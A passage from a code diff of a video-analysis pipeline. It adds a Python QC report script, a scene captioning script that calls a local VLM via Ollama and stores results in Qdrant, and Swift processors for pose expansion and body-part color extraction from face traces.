print(f"[Pose] WARNING: Using face.json without trace_id", file=sys.stderr)
else:
print(f"[Pose] ERROR: No face.json found for {file_uuid}", file=sys.stderr)
# Return empty result
empty_result = {"frame_count": 0, "fps": 0.0, "frames": []}
with open(output_path, "w") as f:
json.dump(empty_result, f)
return empty_result
# Build swift_pose_expansion if needed
swift_bin = SWIFT_BIN if os.path.exists(SWIFT_BIN) else SWIFT_BIN_DEBUG
if not os.path.exists(swift_bin):
build_dir = os.path.join(SCRIPT_DIR, "swift_processors")
print(f"[Pose] Building swift_pose_expansion in {build_dir}...", file=sys.stderr)
result = subprocess.run(
["swift", "build", "-c", "release", "--product", "swift_pose_expansion"],
cwd=build_dir, capture_output=True, text=True
)
if result.returncode != 0:
print(f"[Pose] Build failed: {result.stderr}", file=sys.stderr)
raise RuntimeError("Failed to build swift_pose_expansion")
swift_bin = SWIFT_BIN
# Run swift_pose_expansion
cmd = [
swift_bin,
video_path,
input_face_path,
output_path,
]
if uuid:
cmd.extend(["--uuid", uuid])
print(f"[Pose] Running: {' '.join(cmd)}", file=sys.stderr)
t0 = time.time()
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
# Monitor progress
last_progress = ""
while proc.poll() is None:
time.sleep(5)
# Read stderr for progress
try:
# Non-blocking read
import select
if select.select([proc.stderr], [], [], 0)[0]:
line = proc.stderr.readline().strip()
if line and line != last_progress:
last_progress = line
print(f"[Pose] {line}", file=sys.stderr)
if publisher and "frames" in line:
publisher.progress("pose", 50, 100, line)
except Exception:
pass
# Read remaining output
stdout, stderr = proc.communicate()
if stdout:
print(stdout, file=sys.stderr)
if stderr:
print(stderr, file=sys.stderr)
elapsed = time.time() - t0
if proc.returncode != 0:
print(f"[Pose] ERROR: swift_pose_expansion exited with code {proc.returncode}", file=sys.stderr)
if publisher:
publisher.error("pose", f"Process failed with code {proc.returncode}")
raise RuntimeError(f"swift_pose_expansion failed: {proc.returncode}")
# Load result
if not os.path.exists(output_path):
print(f"[Pose] ERROR: Output file not created: {output_path}", file=sys.stderr)
raise RuntimeError("Pose output not created")
with open(output_path) as f:
result = json.load(f)
frame_count = len(result.get("frames", []))
print(f"[Pose] Done: {frame_count} frames in {elapsed:.1f}s", file=sys.stderr)
if publisher:
publisher.progress("pose", 100, 100, f"{frame_count} frames")
publisher.complete("pose", f"{frame_count} frames")
return result
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Pose Expansion Processor")
parser.add_argument("video_path", help="Video file path")
parser.add_argument("output_path", help="Output pose.json path")
parser.add_argument("--uuid", "-u", default="", help="File UUID for logging")
args = parser.parse_args()
publisher = RedisPublisher(args.uuid) if args.uuid else None
if publisher:
publisher.info("pose", "POSE_START")
result = process_pose(args.video_path, args.output_path, args.uuid, publisher)
print(f"Pose: {len(result.get('frames', []))} frames with poses")
scripts/qc_completed_files.py
+162
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@@ -0,0 +1,162 @@
#!/usr/bin/env python3
"""
QC Report for all completed files.
Checks pipeline standards and lists missing/invalid items.
"""
import json
import os
import sys
import psycopg2
from pathlib import Path
OUTPUT_DIR = os.environ.get("MOMENTRY_OUTPUT_DIR", "/Users/accusys/momentry/output")
DATABASE_URL = os.environ.get("DATABASE_URL", "postgresql://accusys@localhost:5432/momentry")
# Required processor outputs
REQUIRED_PROCESSORS = ["face.json", "asr.json", "asrx.json", "ocr.json", "pose.json", "cut.json", "face_cluster.json", "face_traced.json", "profile.json"]
def get_db_connection():
return psycopg2.connect(DATABASE_URL)
def check_processor_files(uuid):
"""Check if all required processor output files exist."""
missing = []
for proc in REQUIRED_PROCESSORS:
path = Path(OUTPUT_DIR) / f"{uuid}.{proc}"
if not path.exists():
missing.append(proc)
return missing
def check_trace_profiles(conn, uuid):
"""Check trace_profiles data quality."""
with conn.cursor() as cur:
cur.execute("SELECT COUNT(*), SUM(frame_count), COUNT(CASE WHEN name IS NOT NULL AND name != '' THEN 1 END) FROM public.trace_profiles WHERE file_uuid = %s", (uuid,))
count, total_frames, named_count = cur.fetchone()
cur.execute("SELECT COUNT(*) FROM public.trace_profiles WHERE file_uuid = %s AND frame_count <= 0", (uuid,))
zero_frames = cur.fetchone()[0]
cur.execute("SELECT COUNT(*) FROM public.trace_profiles WHERE file_uuid = %s AND (vlm_description IS NULL OR vlm_description = '')", (uuid,))
no_vlm_desc = cur.fetchone()[0]
issues = []
if count == 0:
issues.append("trace_profiles: 0 records")
if zero_frames > 0:
issues.append(f"trace_profiles: {zero_frames} records with frame_count <= 0")
if no_vlm_desc > 0:
issues.append(f"trace_profiles: {no_vlm_desc} records missing vlm_description")
return issues
def check_tkg_nodes(conn, uuid):
"""Check TKG nodes data."""
with conn.cursor() as cur:
cur.execute("SELECT COUNT(*) FROM public.tkg_nodes WHERE file_uuid = %s AND node_type = 'face_track'", (uuid,))
face_tracks = cur.fetchone()[0]
cur.execute("SELECT COUNT(*) FROM public.tkg_edges WHERE file_uuid = %s", (uuid,))
edges = cur.fetchone()[0]
issues = []
if face_tracks == 0:
issues.append("tkg_nodes: 0 face_track nodes")
if edges == 0:
issues.append("tkg_edges: 0 edges")
return issues
def check_qdrant_faces(uuid):
"""Check Qdrant _faces collection using curl."""
try:
import subprocess
result = subprocess.run(
["curl", "-s", "http://localhost:6333/collections/_faces/points/scroll",
"-H", "Content-Type: application/json",
"-d", json.dumps({"filter": {"must": [{"key": "file_uuid", "match": {"value": uuid}}]}, "limit": 1})],
capture_output=True, text=True, timeout=5
)
if result.returncode == 0:
data = json.loads(result.stdout)
points = data.get("result", {}).get("points", [])
count = len(points)
return [] if count > 0 else [f"Qdrant _faces: {count} points"]
else:
return [f"Qdrant _faces: curl error"]
except Exception as e:
return [f"Qdrant _faces: error ({e})"]
def check_video_metadata(conn, uuid):
"""Check video metadata completeness."""
with conn.cursor() as cur:
cur.execute("SELECT file_name, duration, fps, total_frames, cut_done FROM public.videos WHERE file_uuid = %s", (uuid,))
row = cur.fetchone()
if not row:
return ["videos: record not found"]
name, duration, fps, total_frames, cut_done = row
issues = []
if duration <= 0:
issues.append(f"videos: duration={duration}")
if fps <= 0:
issues.append(f"videos: fps={fps}")
if total_frames <= 0:
issues.append(f"videos: total_frames={total_frames}")
if not cut_done:
issues.append("videos: cut_done=false")
return issues
def main():
conn = get_db_connection()
with conn.cursor() as cur:
cur.execute("SELECT file_uuid, file_name FROM public.videos WHERE status = 'completed' ORDER BY created_at DESC")
completed_files = cur.fetchall()
if not completed_files:
print("No completed files found.")
return
print("=" * 80)
print("QC REPORT FOR COMPLETED FILES")
print("=" * 80)
print(f"Total completed files: {len(completed_files)}")
print()
all_issues = []
for uuid, file_name in completed_files:
file_issues = []
# Check processor files
missing_procs = check_processor_files(uuid)
if missing_procs:
file_issues.append(f"Missing processor files: {', '.join(missing_procs)}")
# Check video metadata
file_issues.extend(check_video_metadata(conn, uuid))
# Check trace_profiles
file_issues.extend(check_trace_profiles(conn, uuid))
# Check TKG
file_issues.extend(check_tkg_nodes(conn, uuid))
# Check Qdrant
file_issues.extend(check_qdrant_faces(uuid))
status = "PASS" if not file_issues else "FAIL"
print(f"[{status}] {file_name} ({uuid})")
for issue in file_issues:
print(f" - {issue}")
print()
if file_issues:
all_issues.append((file_name, uuid, file_issues))
print("=" * 80)
print(f"SUMMARY: {len(completed_files) - len(all_issues)}/{len(completed_files)} files passed QC")
if all_issues:
print(f"\nFailed files:")
for name, uuid, issues in all_issues:
print(f" - {name}: {len(issues)} issue(s)")
if __name__ == "__main__":
main()
scripts/scene_vlm_caption.py
Executable
+330
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@@ -0,0 +1,330 @@
#!/opt/homebrew/bin/python3.11
"""
Scene VLM Caption - Generate VLM descriptions for scene key frames
Analyzes scene key frames ({uuid}_scene_N.jpg) using VLM (llava:7b).
Usage:
python scene_vlm_caption.py --file-uuid abc123 --output-dir /path/to/output
python scene_vlm_caption.py --scene-dir /path/to/output --scene-number 1
Output:
{output_dir}/{uuid}_scene_profile.json with:
- scenes: [{scene_number, vlm_description, vlm_location, ...}]
"""
import argparse
import base64
import json
import os
import sys
from pathlib import Path
try:
import requests
except ImportError:
print("requests not installed: pip install requests", file=sys.stderr)
sys.exit(1)
def encode_image(image_path: str) -> str:
"""Encode image to base64."""
with open(image_path, "rb") as f:
return base64.b64encode(f.read()).decode("utf-8")
def call_vlm(image_path: str, prompt: str, model: str = "llava:7b", ollama_url: str = "http://localhost:11434") -> str:
"""Call Ollama VLM API."""
image_b64 = encode_image(image_path)
payload = {
"model": model,
"prompt": prompt,
"images": [image_b64],
"stream": False,
"options": {"num_predict": 100}
}
try:
resp = requests.post(f"{ollama_url}/api/generate", json=payload, timeout=30)
resp.raise_for_status()
data = resp.json()
return data.get("response", "").strip()
except Exception as e:
print(f"[vlm] API error: {e}", file=sys.stderr)
return ""
def get_embedding(text: str, model: str = "nomic-embed-text-v2-moe", ollama_url: str = "http://localhost:11434") -> list:
"""Get embedding from Ollama."""
try:
resp = requests.post(
f"{ollama_url}/api/embed",
json={"model": model, "input": text},
timeout=30,
)
resp.raise_for_status()
data = resp.json()
return data.get("embeddings", [[]])[0]
except Exception as e:
print(f"[vlm] Embedding error: {e}", file=sys.stderr)
return []
def store_to_qdrant(analysis: dict, file_uuid: str, scene_number: int, qdrant_url: str = "http://localhost:6333", qdrant_api_key: str = None) -> bool:
"""Store VLM results to Qdrant _vlm collection."""
description = analysis.get("vlm_description", "")
if not description:
return False
# Get embedding
embedding = get_embedding(description)
if not embedding:
print(f"[vlm] Failed to get embedding for scene_{scene_number}", file=sys.stderr)
return False
# Generate point ID
import hashlib
point_id = int(hashlib.md5(f"{file_uuid}_scene_{scene_number}".encode()).hexdigest()[:16], 16)
# Build payload
payload = {
"type": "scene",
"file_uuid": file_uuid,
"scene_number": scene_number,
**analysis,
}
# Upsert to Qdrant
try:
headers = {}
if qdrant_api_key:
headers["api-key"] = qdrant_api_key
resp = requests.put(
f"{qdrant_url}/collections/_vlm/points?wait=true",
json={
"points": [{
"id": point_id,
"vector": embedding,
"payload": payload,
}]
},
headers=headers,
timeout=30,
)
resp.raise_for_status()
print(f"[vlm] Stored to Qdrant: scene_{scene_number}")
return True
except Exception as e:
print(f"[vlm] Qdrant error: {e}", file=sys.stderr)
return False
def analyze_scene(image_path: str, model: str = "llava:7b") -> dict:
"""
Analyze a scene key frame with VLM.
Returns:
Dict with VLM analysis results
"""
if not Path(image_path).exists():
print(f"[vlm] Image not found: {image_path}", file=sys.stderr)
return {}
print(f"[vlm] Analyzing {Path(image_path).name}...")
# Prompt 1: Scene description
desc_prompt = "Describe this scene briefly. Include: location type, main objects, people count, activity. If uncertain, say 'unclear'. Do not guess."
description = call_vlm(image_path, desc_prompt, model)
# Prompt 2: Lighting
light_prompt = "What is the lighting? Answer one word: day, night, indoor-light, mixed, or unknown."
lighting = call_vlm(image_path, light_prompt, model).lower().strip()
# Prompt 3: Location classification
loc_prompt = "Classify the location. Answer in JSON: {\"location\": \"indoor/outdoor/unknown\", \"setting\": \"office/street/home/nature/studio/unknown\"}. Use 'unknown' if uncertain."
loc_raw = call_vlm(image_path, loc_prompt, model)
loc_data = {}
try:
loc_clean = loc_raw.replace("```json", "").replace("```", "").strip()
parsed = json.loads(loc_clean)
if isinstance(parsed, dict):
loc_data = parsed
else:
loc_data = {}
except:
loc_data = {}
# Prompt 4: Weather (for outdoor scenes)
weather_prompt = "If outdoor, what is the weather? Answer one word: sunny, cloudy, rainy, night, or unknown. If indoor, answer 'indoor'."
weather = call_vlm(image_path, weather_prompt, model).lower().strip()
# Prompt 5: People count
people_prompt = "How many people are visible? Answer a number or 'unclear'."
people_count = call_vlm(image_path, people_prompt, model).strip()
# Prompt 6: Objects/vehicles
objects_prompt = "What notable objects or vehicles are visible? Answer in JSON: {\"vehicles\": [\"car\", \"bus\", etc.], \"objects\": [\"table\", \"chair\", etc.]}. Use empty lists if none or unclear."
objects_raw = call_vlm(image_path, objects_prompt, model)
objects_data = {}
try:
objects_clean = objects_raw.replace("```json", "").replace("```", "").strip()
parsed = json.loads(objects_clean)
if isinstance(parsed, dict):
objects_data = parsed
else:
objects_data = {"vehicles": [], "objects": []}
except:
objects_data = {"vehicles": [], "objects": []}
# Prompt 7: Plants
plants_prompt = "What plants are visible? Answer in JSON: {\"has_plants\": true/false, \"plants\": [\"list recognizable names or brief descriptions\"]. Use empty list if none or unclear.}"
plants_raw = call_vlm(image_path, plants_prompt, model)
plants_data = {}
try:
plants_clean = plants_raw.replace("```json", "").replace("```", "").strip()
parsed = json.loads(plants_clean)
if isinstance(parsed, dict):
plants_data = parsed
else:
plants_data = {"has_plants": False, "plants": []}
except:
plants_data = {"has_plants": False, "plants": []}
# Prompt 8: Animals
animals_prompt = "What animals are visible? Answer in JSON: {\"has_animals\": true/false, \"animals\": [\"list recognizable names or brief descriptions\"]. Use empty list if none or unclear.}"
animals_raw = call_vlm(image_path, animals_prompt, model)
animals_data = {}
try:
animals_clean = animals_raw.replace("```json", "").replace("```", "").strip()
parsed = json.loads(animals_clean)
if isinstance(parsed, dict):
animals_data = parsed
else:
animals_data = {"has_animals": False, "animals": []}
except:
animals_data = {"has_animals": False, "animals": []}
# Prompt 9: Tags
tags_prompt = "List 5 tags for this scene, comma-separated. Only include what is clearly visible. Examples: office, street, sunny, crowd, nature."
tags_raw = call_vlm(image_path, tags_prompt, model)
tags = [t.strip() for t in tags_raw.replace(",", " ").split() if t.strip()][:5]
return {
"vlm_description": description,
"vlm_lighting": lighting,
"vlm_location": loc_data.get("location", "unknown"),
"vlm_setting": loc_data.get("setting", "unknown"),
"vlm_weather": weather,
"vlm_people_count": people_count,
"vlm_vehicles": objects_data.get("vehicles", []),
"vlm_objects": objects_data.get("objects", []),
"vlm_has_plants": plants_data.get("has_plants", False),
"vlm_plants": plants_data.get("plants", []),
"vlm_has_animals": animals_data.get("has_animals", False),
"vlm_animals": animals_data.get("animals", []),
"vlm_tags": tags,
"vlm_model": model,
}
def analyze_all_scenes(file_uuid: str, output_dir: str, model: str = "llava:7b", store_qdrant: bool = True) -> dict:
"""
Analyze all scene key frames for a file.
Returns:
Summary dict
"""
output_path = Path(output_dir)
# Find all scene images
scene_images = sorted(output_path.glob(f"{file_uuid}_scene_*.jpg"))
if not scene_images:
print(f"[vlm] No scene images found: {file_uuid}_scene_*.jpg in {output_dir}", file=sys.stderr)
return {"error": "No scene images"}
results = []
qdrant_api_key = os.environ.get("QDRANT_API_KEY")
for scene_img in scene_images:
# Extract scene number from filename
scene_number = int(scene_img.stem.split("_scene_")[1])
analysis = analyze_scene(str(scene_img), model)
if analysis:
# Store to Qdrant
if store_qdrant:
store_to_qdrant(analysis, file_uuid, scene_number, qdrant_api_key=qdrant_api_key)
results.append({
"scene_number": scene_number,
"image_path": str(scene_img),
**analysis,
})
# Save profile
profile = {
"file_uuid": file_uuid,
"total_scenes": len(results),
"model": model,
"scenes": results,
}
profile_path = output_path / f"{file_uuid}_scene_profile.json"
with open(profile_path, "w") as f:
json.dump(profile, f, indent=2)
print(f"[vlm] Saved profile: {profile_path}")
return profile
def main():
parser = argparse.ArgumentParser(description="VLM caption generation for scene key frames")
parser.add_argument("--file-uuid", "-u", help="File UUID (analyze all scenes)")
parser.add_argument("--scene-dir", "-d", help="Scene directory (contains {uuid}_scene_N.jpg)")
parser.add_argument("--scene-number", "-n", type=int, help="Single scene number")
parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory")
parser.add_argument("--model", "-m", default="llava:7b", help="VLM model name")
parser.add_argument("--json", "-j", action="store_true", help="Output as JSON")
args = parser.parse_args()
if args.file_uuid:
result = analyze_all_scenes(args.file_uuid, args.output_dir, args.model)
elif args.scene_dir and args.scene_number is not None:
# Find file_uuid from directory
scene_dir = Path(args.scene_dir)
file_uuid = None
for f in scene_dir.glob("*_scene_*.jpg"):
file_uuid = f.stem.split("_scene_")[0]
break
if not file_uuid:
print("Cannot determine file_uuid from scene_dir", file=sys.stderr)
sys.exit(1)
scene_img = scene_dir / f"{file_uuid}_scene_{args.scene_number}.jpg"
result = analyze_scene(str(scene_img), args.model)
else:
parser.error("Requires --file-uuid or (--scene-dir + --scene-number)")
if args.json:
print(json.dumps(result, indent=2))
else:
if "scenes" in result:
print(f"Analyzed {len(result['scenes'])} scenes")
elif "vlm_description" in result:
print(f"Description: {result['vlm_description']}")
print(f"Location: {result.get('vlm_location', 'unknown')}")
print(f"Tags: {result.get('vlm_tags', [])}")
if __name__ == "__main__":
main()
scripts/swift_processors/Package.swift
+16
View File
@@ -126,5 +126,21 @@ let package = Package(
path: ".",
sources: ["swift_face_pose.swift"]
),
.executableTarget(
name: "swift_pose_expansion",
dependencies: [
.product(name: "ArgumentParser", package: "swift-argument-parser"),
],
path: ".",
sources: ["swift_pose_expansion.swift"]
),
.executableTarget(
name: "swift_appearance_expansion",
dependencies: [
.product(name: "ArgumentParser", package: "swift-argument-parser"),
],
path: ".",
sources: ["swift_appearance_expansion.swift"]
),
]
)
scripts/swift_processors/swift_appearance_expansion.swift
+332
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@@ -0,0 +1,332 @@
import Foundation
import Vision
import ArgumentParser
import AVFoundation
/// Swift Appearance Expansion Processor V2
///
/// Reads pose.json and extracts colors at keypoint positions.
///
/// Algorithm:
/// 1. Load pose.json, get frames with trace_id
/// 2. For each pose frame, extract colors at keypoint positions
/// 3. Record overall brightness for lighting adjustment
/// 4. Expand outward, stop when 3 consecutive frames have low similarity
/// 5. Output at 8Hz sampling
///
/// Key Concepts:
/// - Appearance = colors at body part positions (head, torso, legs, feet)
/// - Used for tracking and agent search ("person wearing red shirt")
/// - Approximate colors are sufficient for top-K search
@main
struct SwiftAppearanceExpansion: ParsableCommand {
@Argument(help: "Video file path")
var videoPath: String
@Argument(help: "Input pose.json path")
var posePath: String
@Argument(help: "Output appearance.json path")
var outputPath: String
@Option(name: .long, help: "UUID for logging")
var uuid: String = ""
@Option(name: .long, help: "Consecutive miss threshold (default: 3)")
var missThreshold: Int = 3
@Option(name: .long, help: "Color sampling radius (default: 15)")
var colorRadius: Int = 15
mutating func run() throws {
let startTime = Date()
print("[AppearanceExpansion] Starting appearance extraction from pose: \(videoPath)")
// Load pose.json
guard let poseData = try? Data(contentsOf: URL(fileURLWithPath: posePath)) else {
print("[AppearanceExpansion] ERROR: Cannot read \(posePath)")
return
}
guard let poseJson = try? JSONSerialization.jsonObject(with: poseData) as? [String: Any] else {
print("[AppearanceExpansion] ERROR: Invalid JSON in \(posePath)")
return
}
// Extract frames with trace_id from pose
var poseFrameDict: [Int: [String: Any]] = [:] // frame -> pose data with trace_id
if let frames = poseJson["frames"] as? [[String: Any]] {
for frameData in frames {
guard let frameNum = frameData["frame"] as? Int else { continue }
poseFrameDict[frameNum] = frameData
}
}
print("[AppearanceExpansion] Found \(poseFrameDict.count) pose frames in \(posePath)")
if poseFrameDict.isEmpty {
print("[AppearanceExpansion] No pose frames found, skipping")
let emptyOutput: [String: Any] = ["frame_count": 0, "fps": 0.0, "frames": []]
let jsonData = try JSONSerialization.data(withJSONObject: emptyOutput, options: [])
try jsonData.write(to: URL(fileURLWithPath: outputPath))
return
}
// Get video info
let url = URL(fileURLWithPath: videoPath)
let asset = AVAsset(url: url)
guard let videoTrack = asset.tracks(withMediaType: .video).first else {
print("[AppearanceExpansion] ERROR: No video track")
return
}
let fps = videoTrack.nominalFrameRate
let duration = CMTimeGetSeconds(asset.duration)
let totalFrames = Int(duration * Double(fps))
let sampleInterval = max(1, Int(floor(Double(fps) / 8.0)))
print("[AppearanceExpansion] Video: \(fps)fps, \(totalFrames) frames, 8Hz interval=\(sampleInterval)")
// Track appearance frames
var appearanceFrameDict: [Int: [String: Any]] = [:]
// Setup asset reader
let outputSettings: [String: Any] = [
kCVPixelBufferPixelFormatTypeKey as String: kCVPixelFormatType_32BGRA
]
let reader = try AVAssetReader(asset: asset)
let trackOutput = AVAssetReaderTrackOutput(track: videoTrack, outputSettings: outputSettings)
trackOutput.alwaysCopiesSampleData = false
reader.add(trackOutput)
guard reader.startReading() else {
print("[AppearanceExpansion] ERROR: Cannot start reader")
return
}
// Process frames
var frameIndex = 0
while let sampleBuffer = trackOutput.copyNextSampleBuffer() {
defer { frameIndex += 1 }
guard let pixelBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) else {
continue
}
// Check if this is a pose frame
if let poseData = poseFrameDict[frameIndex] {
let seconds = Double(frameIndex) / Double(fps)
// Extract colors at keypoint positions
let colors = extractColorsAtKeypoints(pixelBuffer: pixelBuffer, poseData: poseData, radius: colorRadius)
// Calculate overall brightness
let brightness = calculateBrightness(pixelBuffer: pixelBuffer)
// Get trace_id from pose (inherit)
let traceId = poseData["trace_id"] as? Int ?? 0
appearanceFrameDict[frameIndex] = [
"frame": frameIndex,
"timestamp": seconds,
"trace_id": traceId,
"brightness": brightness,
"colors": colors
]
}
// Progress logging
if frameIndex % 5000 == 0 {
let elapsed = Date().timeIntervalSince(startTime)
print("[AppearanceExpansion] Frame \(frameIndex)/\(totalFrames), \(appearanceFrameDict.count) appearances, \(Int(elapsed))s")
fflush(stdout)
}
}
reader.cancelReading()
print("[AppearanceExpansion] Extraction done: \(appearanceFrameDict.count) frames with appearance")
// 8Hz sampling output
var outputFrames: [[String: Any]] = []
let sortedAppearanceFrames = appearanceFrameDict.keys.sorted()
var targetFrame = 0
while targetFrame < totalFrames {
// Find closest appearance frame to target
var closestFrame: Int? = nil
var closestDist = Int.max
for appFrame in sortedAppearanceFrames {
let dist = abs(appFrame - targetFrame)
if dist < closestDist && dist <= sampleInterval {
closestDist = dist
closestFrame = appFrame
}
}
if let cf = closestFrame, let data = appearanceFrameDict[cf] {
outputFrames.append(data)
}
targetFrame += sampleInterval
}
// Write output
let output: [String: Any] = [
"frame_count": outputFrames.count,
"fps": Double(fps),
"frames": outputFrames
]
let jsonData = try JSONSerialization.data(withJSONObject: output, options: [])
try jsonData.write(to: URL(fileURLWithPath: outputPath))
let elapsed = Date().timeIntervalSince(startTime)
print("[AppearanceExpansion] Done: \(outputFrames.count) frames at 8Hz, \(String(format: "%.1f", elapsed))s → \(outputPath)")
}
/// Extract colors at keypoint positions
func extractColorsAtKeypoints(pixelBuffer: CVPixelBuffer, poseData: [String: Any], radius: Int) -> [String: [Int]] {
let imgW = CVPixelBufferGetWidth(pixelBuffer)
let imgH = CVPixelBufferGetHeight(pixelBuffer)
CVPixelBufferLockBaseAddress(pixelBuffer, .readOnly)
defer { CVPixelBufferUnlockBaseAddress(pixelBuffer, .readOnly) }
guard let baseAddress = CVPixelBufferGetBaseAddress(pixelBuffer) else {
return [:]
}
let bytesPerRow = CVPixelBufferGetBytesPerRow(pixelBuffer)
let buffer = baseAddress.bindMemory(to: UInt8.self, capacity: bytesPerRow * imgH)
var colors: [String: [Int]] = [:]
// Define keypoint groups for body parts
let bodyParts: [String: [String]] = [
"head": ["nose", "left_eye", "right_eye", "left_ear", "right_ear"],
"torso": ["left_shoulder", "right_shoulder"],
"legs": ["left_hip", "right_hip", "left_knee", "right_knee"],
"feet": ["left_ankle", "right_ankle"]
]
// Extract color for each body part
for (partName, keypointNames) in bodyParts {
var totalR = 0, totalG = 0, totalB = 0
var count = 0
// Get persons array from pose data
if let persons = poseData["persons"] as? [[String: Any]] {
for person in persons {
if let keypoints = person["keypoints"] as? [[String: Any]] {
for kp in keypoints {
guard let name = kp["name"] as? String,
keypointNames.contains(name),
let x = kp["x"] as? Double,
let y = kp["y"] as? Double,
let confidence = kp["confidence"] as? Double,
confidence > 0.3 else { continue }
// Get average color around keypoint
let color = getAverageColor(
buffer: buffer,
bytesPerRow: bytesPerRow,
imgW: imgW,
imgH: imgH,
centerX: Int(x),
centerY: Int(y),
radius: radius
)
totalR += color.0
totalG += color.1
totalB += color.2
count += 1
}
}
}
}
if count > 0 {
colors[partName] = [totalR / count, totalG / count, totalB / count]
}
}
return colors
}
/// Get average color around a position
func getAverageColor(
buffer: UnsafeMutablePointer<UInt8>,
bytesPerRow: Int,
imgW: Int,
imgH: Int,
centerX: Int,
centerY: Int,
radius: Int
) -> (Int, Int, Int) {
let x1 = max(0, centerX - radius)
let x2 = min(imgW - 1, centerX + radius)
let y1 = max(0, centerY - radius)
let y2 = min(imgH - 1, centerY + radius)
var totalR = 0, totalG = 0, totalB = 0, count = 0
for y in y1...y2 {
let rowStart = y * bytesPerRow
for x in x1...x2 {
let offset = rowStart + x * 4
totalB += Int(buffer[offset])
totalG += Int(buffer[offset + 1])
totalR += Int(buffer[offset + 2])
count += 1
}
}
if count > 0 {
return (totalR / count, totalG / count, totalB / count)
}
return (0, 0, 0)
}
/// Calculate overall brightness of frame
func calculateBrightness(pixelBuffer: CVPixelBuffer) -> Double {
let imgW = CVPixelBufferGetWidth(pixelBuffer)
let imgH = CVPixelBufferGetHeight(pixelBuffer)
CVPixelBufferLockBaseAddress(pixelBuffer, .readOnly)
defer { CVPixelBufferUnlockBaseAddress(pixelBuffer, .readOnly) }
guard let baseAddress = CVPixelBufferGetBaseAddress(pixelBuffer) else {
return 0.0
}
let bytesPerRow = CVPixelBufferGetBytesPerRow(pixelBuffer)
let buffer = baseAddress.bindMemory(to: UInt8.self, capacity: bytesPerRow * imgH)
var totalBrightness = 0.0
var count = 0
// Sample every 10 pixels for speed
for y in stride(from: 0, to: imgH, by: 10) {
let rowStart = y * bytesPerRow
for x in stride(from: 0, to: imgW, by: 10) {
let offset = rowStart + x * 4
let b = Double(buffer[offset])
let g = Double(buffer[offset + 1])
let r = Double(buffer[offset + 2])
// Calculate luminance
let luminance = 0.299 * r + 0.587 * g + 0.114 * b
totalBrightness += luminance / 255.0
count += 1
}
}
return count > 0 ? totalBrightness / Double(count) : 0.0
}
}
scripts/swift_processors/swift_pose_expansion.swift
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import Foundation
import Vision
import ArgumentParser
import AVFoundation
/// Swift Pose Expansion Processor V2
///
/// Reads face_traced.json (from face tracking) and expands pose detection from trace frames.
/// Inherits trace_id from face traces for proper tracking continuity.
///
/// Algorithm:
/// 1. Load face_traced.json, extract frames grouped by trace_id
/// 2. For each trace_id, start from face frames and expand forward/backward
/// 3. Stop expansion when 3 consecutive frames have no pose detection
/// 4. Associate each pose with the nearest face's trace_id
/// 5. Output pose.json at 8Hz sampling (floor(fps/8) interval)
@main
struct SwiftPoseExpansion: ParsableCommand {
@Argument(help: "Video file path")
var videoPath: String
@Argument(help: "Input face_traced.json path")
var faceTracedPath: String
@Argument(help: "Output pose.json path")
var outputPath: String
@Option(name: .long, help: "UUID for logging")
var uuid: String = ""
@Option(name: .long, help: "Consecutive miss threshold to stop expansion (default: 3)")
var missThreshold: Int = 3
mutating func run() throws {
let startTime = Date()
print("[PoseExpansion] Starting pose expansion from face traces: \(videoPath)")
// Load face_traced.json
guard let faceData = try? Data(contentsOf: URL(fileURLWithPath: faceTracedPath)) else {
print("[PoseExpansion] ERROR: Cannot read \(faceTracedPath)")
return
}
guard let faceJson = try? JSONSerialization.jsonObject(with: faceData) as? [String: Any] else {
print("[PoseExpansion] ERROR: Invalid JSON in \(faceTracedPath)")
return
}
// Extract frames with trace_id mapping
// frameToTraces: frame -> [(trace_id, x, y, w, h)]
var frameToTraces: [Int: [(traceId: Int, x: Double, y: Double, w: Double, h: Double)]] = [:]
var allTraceIds: Set<Int> = []
// Handle both dict and list format
if let framesDict = faceJson["frames"] as? [String: Any] {
for (frameStr, frameData) in framesDict {
guard let frameNum = Int(frameStr) else { continue }
if let faces = (frameData as? [String: Any])?["faces"] as? [[String: Any]] {
for face in faces {
if let traceId = face["trace_id"] as? Int, traceId > 0 {
allTraceIds.insert(traceId)
let bbox = face["bbox"] as? [String: Any]
let x = bbox?["x"] as? Double ?? face["x"] as? Double ?? 0
let y = bbox?["y"] as? Double ?? face["y"] as? Double ?? 0
let w = bbox?["width"] as? Double ?? face["width"] as? Double ?? 0
let h = bbox?["height"] as? Double ?? face["height"] as? Double ?? 0
frameToTraces[frameNum, default: []].append((traceId, x, y, w, h))
}
}
}
}
} else if let framesList = faceJson["frames"] as? [[String: Any]] {
for frameData in framesList {
guard let frameNum = frameData["frame"] as? Int else { continue }
if let faces = frameData["faces"] as? [[String: Any]] {
for face in faces {
if let traceId = face["trace_id"] as? Int, traceId > 0 {
allTraceIds.insert(traceId)
let bbox = face["bbox"] as? [String: Any]
let x = bbox?["x"] as? Double ?? face["x"] as? Double ?? 0
let y = bbox?["y"] as? Double ?? face["y"] as? Double ?? 0
let w = bbox?["width"] as? Double ?? face["width"] as? Double ?? 0
let h = bbox?["height"] as? Double ?? face["height"] as? Double ?? 0
frameToTraces[frameNum, default: []].append((traceId, x, y, w, h))
}
}
}
}
}
print("[PoseExpansion] Found \(allTraceIds.count) traces, \(frameToTraces.count) frames in \(faceTracedPath)")
if frameToTraces.isEmpty {
print("[PoseExpansion] No traces found, skipping pose expansion")
let emptyOutput: [String: Any] = ["frame_count": 0, "fps": 0.0, "frames": []]
let jsonData = try JSONSerialization.data(withJSONObject: emptyOutput, options: [])
try jsonData.write(to: URL(fileURLWithPath: outputPath))
return
}
// Get video info
let url = URL(fileURLWithPath: videoPath)
let asset = AVAsset(url: url)
guard let videoTrack = asset.tracks(withMediaType: .video).first else {
print("[PoseExpansion] ERROR: No video track")
return
}
let fps = videoTrack.nominalFrameRate
let duration = CMTimeGetSeconds(asset.duration)
let totalFrames = Int(duration * Double(fps))
let sampleInterval = max(1, Int(floor(Double(fps) / 8.0)))
print("[PoseExpansion] Video: \(fps)fps, \(totalFrames) frames, 8Hz interval=\(sampleInterval)")
// Build set of all face frames
let allFaceFrameSet = Set(frameToTraces.keys)
// Track which frames have pose with trace_id
var poseFrameDict: [Int: [String: Any]] = [:]
// Setup asset reader
let outputSettings: [String: Any] = [
